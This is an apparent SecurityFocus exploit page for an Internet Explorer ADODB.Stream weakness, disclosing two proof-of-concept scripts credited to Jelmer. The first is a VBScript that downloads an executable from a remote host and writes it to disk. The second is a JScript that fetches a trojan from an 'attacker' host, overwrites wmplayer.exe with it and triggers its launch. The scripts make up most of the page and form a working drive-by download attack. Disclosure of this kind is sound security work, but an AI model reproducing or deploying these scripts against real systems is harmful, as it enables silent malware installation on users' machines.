Microsoft Internet Explorer ADODB.Stream Object File Installation Weakness

Numerous exploits in the wild take advantage of this and other security issues to install and execute malicious code on client systems. There are also a number of worms that have incorporated exploits for this and other security issues.

This proof-of-concept was initially released by Jelmer:

<script language="vbscript">

const adTypeBinary = 1
const adSaveCreateOverwrite = 2
const adModeReadWrite = 3

set xmlHTTP = CreateObject("Microsoft.XMLHTTP")
xmlHTTP.open "GET","http://ip3e83566f.speed.planet.nl/NOTEPAD.EXE",
false
xmlHTTP.send
contents = xmlHTTP.responseBody

Set oStr = CreateObject("ADODB.Stream")
oStr.Mode = adModeReadWrite
oStr.Type = adTypeBinary
oStr.Open

oStr.Write(contents)
oStr.SaveToFile "c:\\test.exe", adSaveCreateOverwrite

</script>

This proof-of-concept was subsequently released by Jelmer to demonstrate how the issue may be used to overwrite wmplayer.exe:

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://attacker/trojan.exe",0);
x.Send();

var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);

s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";


 

Privacy Statement
Copyright 2010, SecurityFocus